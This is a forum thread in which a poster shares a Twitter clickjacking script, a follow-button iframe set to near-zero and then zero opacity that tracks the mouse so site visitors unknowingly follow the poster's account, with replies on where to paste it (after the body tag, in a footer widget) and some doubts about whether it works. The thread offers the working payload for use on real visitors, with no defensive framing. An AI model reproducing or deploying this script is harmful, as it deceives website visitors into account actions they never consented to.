Get script twitter clickjacking

mrsharz

BANNED
Joined
Sep 27, 2012
Messages
213
Reaction score
96
hello guys i have an amazing script i would like to share This script will make whoever visits your site automatically follow you on twitter, without them knowing.
All you have to do is change "your_username" (end of second line) to your username.


<iframe class="twitter-follow-button" allowtransparency="true" frameborder="0" scrolling="no"
src="http://platform.twitter.com/widgets/follow_button.html?screen_name=your_username"
style="width:75px; height:20px;">
</iframe>

<script>
if (!document.getElementsByClassName){
document.getElementsByClassName = function(classname){
for (i=0; i<document.getElementsByTagName("*").length; i++)
{
if (document.getElementsByTagName("*").item(i).className == classname){
return new Array(document.getElementsByTagName("*").item(i));
}
}
}
}

var twitterFollowIframe = document.getElementsByClassName('twitter-follow-button')[0];
twitterFollowIframe.style.position = 'absolute';
twitterFollowIframe.style.opacity = '0.2';
twitterFollowIframe.style.filter = 'alpha(opacity=20)';
//twitterFollowIframe.style.width = '110px';

/*
// cross domain restriction won't allow this
twitterFollowIframe.onload = function() {
twitterFollowIframe.contentWindow.scrollTo(20, 0);
}
*/

document.onmousemove = function(e){
if ( !e ) e = window.event;
twitterFollowIframe.style.left = e.clientX - 20;
twitterFollowIframe.style.top = e.clientY - 10;
}
</script>


 
Last edited:
but at double click appears the twitter window how i can dissable it ?
 
code updated if you wanna make it transparent then change this script
Code:
before : twitterFollowIframe.style.opacity = '0.2';  twitterFollowIframe.style.filter = 'alpha(opacity=20)';  
after :  twitterFollowIframe.style.opacity = '0';  twitterFollowIframe.style.filter = 'alpha(opacity=0)';
 
Last edited:
i know some people wil ask where to put it after <body> tags on your page
 
Good job dude. Some modifs are needed for personalized results!! thanks again :)
 
Thanks for the share. For those asking where to put it: Install PHP code widget, put the widget in a footer block and put the code from above in the widget. Works great.
 
Nice share, will give it a try.
 
the user must give "follow", if not, does not follow automatically
 
Does this just provide a pop-up window that asks people if they'd like to follow on Twitter?
 
so I am a little confused aswell. Is it a pop up or does it in the background?
 
so I am a little confused aswell. Is it a pop up or does it in the background?
Install PHP code widget, put the widget in a footer block and put the code from above in the widget. Works great. or go to your page code btw put it after <body> tags on your page look for its it inside
 
Back
Top